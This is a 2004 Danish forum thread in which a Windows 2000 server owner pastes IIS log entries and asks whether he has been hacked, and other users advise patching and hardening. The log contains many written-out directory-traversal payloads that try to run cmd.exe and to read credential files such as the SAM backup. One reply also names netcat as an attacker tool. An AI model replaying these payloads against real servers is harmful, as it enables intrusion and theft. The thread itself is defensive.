Søg
Avatar billede tingleff Praktikant
04. februar 2004 - 22:53 Der er 5 kommentarer og
3 løsninger

er der et hul??

Hej....

Jeg har nogle problemer med min win2000 server som fryser hele tiden og har på fornemmelsen at det har noget med aktiviteten på webserveren, men er ikke sikker.

Jeg faldt så over dette i min logfil for "default website"
Og lad mig lige sige at dette er bare for 1 dag, kan se at disse aktiviteter sker der masser af....

2004-01-30 18:55:20 203.239.44.26 - 192.168.1.3 80 HEAD /iisstart.asp - 200 -
2004-01-30 18:55:20 203.239.44.26 - 192.168.1.3 80 HEAD /etc/passwd /c+dir+c:\ 404 -
2004-01-30 18:55:21 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:21 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..À/..À/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:23 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:23 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..À%9v..À%9v..À%9v../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:24 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:24 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:26 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..À%qf..À%qf..À%qf../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:26 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..Á..Á..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:28 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:28 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..Á%8s..Á%8s..Á%8s../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:29 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:29 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:31 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:31 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..o..o..o../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:32 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..Á%pc..Á%pc..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:32 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:37 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..ð€€¯..ð€€¯..ð€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:37 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..ø€€€¯..ø€€€¯..ø€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:39 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/..ü€€€€¯..ü€€€€¯..ü€€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:39 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/check.bat/..À/..À/..À/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:40 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:44 203.239.44.26 - 192.168.1.3 80 HEAD /_mem_bin/check.bat/..Á..Á..Áwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:44 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:55:46 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:46 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:47 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:47 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:49 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:59 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:55:59 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:56:03 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:56:10 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..À/..À/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:20 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:23 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:48 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:48 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:53 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:56:56 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..Á..Á..Á../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:57:03 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:57:10 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/..Á../winnt/system32/cmd.exe /c+dir+c:\ 500 -
2004-01-30 18:57:17 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:17 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/.._../.._../.._../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:39 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/check.bat/..À/..À/..À/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:49 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:49 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_bin/check.bat/..Á..Á..Áwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:50 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:57:57 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:04 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:04 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:05 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:05 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:14 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%2f..%2fwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:14 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:15 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..%5c%5c..%5c%5c..%5c%5c..%5c%5c..%5c%5c../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:17 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..À%9v..À%9v..À%9v..À%9v..À%9v../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:20 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..À%qf..À%qf..À%qf..À%qf..À%qf../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:42 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..o../..o../..o../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:49 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..Á%pc..Á%pc..Á%pc..Á%pc..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:53 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..Á%pc../..Á%pc../..Á%pc../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:53 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:58:57 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..Á..Á..Á..Á..Á../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:59:07 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:59:18 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..o..o..o..o..o../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:59:29 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 18:59:39 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..ð€€¯..ð€€¯..ð€€¯..ð€€¯..ð€€¯../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:59:39 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..ð€€¯../..ð€€¯../..ð€€¯../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 18:59:44 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_vnf/..ø€€€¯..ø€€€¯..ø€€€¯..ø€€€¯..ø€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:00:15 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_cnf/..ü€€€€¯../..ü€€€€¯../..ü€€€€¯../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:00:19 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:00:19 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:00:29 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:00:52 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:01:02 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%2e..%2ewinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:01:13 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:01:13 203.239.44.26 - 192.168.1.3 80 HEAD /_vti_log/..%2f..%2fwinnt/system32/cmd.exe /c+dir+c:\ 403 -
2004-01-30 19:01:38 203.239.44.26 - 192.168.1.3 80 HEAD /a.asp /c+dir+c:\|-|0|404_Object_Not_Found 404 -
2004-01-30 19:01:42 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/win.ini /c+dir+c:\ 404 -
2004-01-30 19:01:42 203.239.44.26 - 192.168.1.3 80 HEAD /winnt\repair\sam._ /c+dir+c:\ 404 -
2004-01-30 19:01:44 203.239.44.26 - 192.168.1.3 80 HEAD /a.asp /c+dir+c:\|-|0|404_Object_Not_Found 404 -
2004-01-30 19:01:49 203.239.44.26 - 192.168.1.3 80 HEAD /a.asp /c+dir+c:\|-|0|404_Object_Not_Found 404 -
2004-01-30 19:01:52 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/win.ini /c+dir+c:\ 404 -
2004-01-30 19:01:52 203.239.44.26 - 192.168.1.3 80 HEAD /winnt\repair\sam._ /c+dir+c:\ 404 -
2004-01-30 19:01:54 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:01:54 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..%5c%5c..%5c%5c..%5c%5c..%5c%5c..%5c%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:01:58 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:01:58 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..À%9v..À%9v..À%9v..À%9v..À%9v../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:09 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:09 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:35 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:38 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..Á..Á..Á..Á..Á../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:42 203.239.44.26 - 192.168.1.3 80 HEAD /adsamples/..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s../winnt/system32/cmd.exe /c+dir+c:\ 404 -
2004-01-30 19:02:42 203.239.44.26 - 192.168.1.3 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 -



HVAD ER DET??? HAR JEG ET HUL ELLER HVAD???

HJÆÆÆÆÆÆÆLP
Avatar billede bufferzone Praktikant
04. februar 2004 - 23:02 #1
Den er svær at overskue i den form den har, men det er tydeligt at du er blevet sårbarhedsscannet med enter nessus eller "stealth scanner" om han er inde, afhænger af om den fandt nogle huller, her er hvad du bør gøre som minimum
Avatar billede bufferzone Praktikant
04. februar 2004 - 23:04 #2
Fund update af alle systemer, både styresystemer og serveren. Jeg går ud fra at du har en IIS kørende.

Download og kør MS IIS lockdown tool,
kør MS baseline securety analyzer og følg de anbefalinger den kommer med.

Kik på www.cert.dk og følg de anbefalinger de har der for hardening af IIS. Du kan også kikke på www.nsa.gov
Avatar billede tingleff Praktikant
04. februar 2004 - 23:07 #3
ok...det prøver jeg lige
Avatar billede bufferzone Praktikant
04. februar 2004 - 23:10 #4
Du bør også kikke på rettighederne til cmd.exe. sørg for at kun administrator kontoen har rettigheder til denne. Fjern system og alle andre. Kør en søgning på dit c:/drev for cmd.exe, på servere ligger den i et andet bibliotek også (husker ikke hvor) og retter du ikke rettighederne der, vil windows reetablere reggtihederne som de var.

Det er cmd.exe sårbarhedsscanningerne forsøger at nå, da denne giver adgang til en commandopromt, og promten giver muligheder for at overtage din maskine.

Du kan e.v.t. også prøve at søge efter nc.exe der er et meget brugt væktøj. Ligger det på din maskine skal du lugge forbindelsen med det samme
Avatar billede x-masman Nybegynder
05. februar 2004 - 00:39 #5
bufferzone. nc.exe kan man vel også selv bruge i stedet for telnet. Det ved jeg da at jeg gør. Er det uklogt?
Avatar billede tingleff Praktikant
05. februar 2004 - 00:43 #6
nu har jeg opdateret og kørt lockdown tool
Inde på windows update var der netop en opdate der nævnte det med at serveren fryser...så lad os se...

tak for hjælpen bufferzone :-)
Avatar billede levithan Nybegynder
05. februar 2004 - 10:32 #7
buffercone > hvor finder man MS baseline securety analyzer har du et link? har kikket på ms site men der er den ikke lige at finde
Avatar billede Slettet bruger
05. februar 2004 - 14:53 #8
Det gør du her http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/mbsahome.asp
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Se alle it-kurser fra Computerworld Kurser
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.
Se alle it-kurser

Flere spørgsmål fra Windows kategorien

Titel Indlæg Oprettet Seneste aktivitet
Download af Win 11 vi aRufus Af lbc i Windows 2 30/10/202614:06 30/10/202620:19
oprette et installationsmedie Af Malm i Windows 4 16/09/202618:13 23/09/202617:38
Popup ved opstart Af mort1 i Windows 1 06/09/202611:21 06/09/202611:31
Slet lokal konto Af ErikHg i Windows 9 04/09/202618:50 07/09/202615:51
Dette er ikke en kommerciel session i Windows 11 Af eksmojo i Windows 3 04/09/202613:47 05/09/202622:31
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
I dag 01:00 Problemer med software til Power Walker UPS - Nødstrømsbatteri Af ErikHg i Andet software
I går 20:16 Snapchat Af made18 i Apps til iOS
31/1013:01 Måned og år på graf Af mort1 i Excel
31/1012:28 2 diske Af dcedata1977 i Andet hardware
31/1012:06 Ekstra til TV 2 : "Tilkøb" + "TV2 Ude" Af Ikke-ekspert i Fjernsyn & projektorer
White papers
Flere white papers »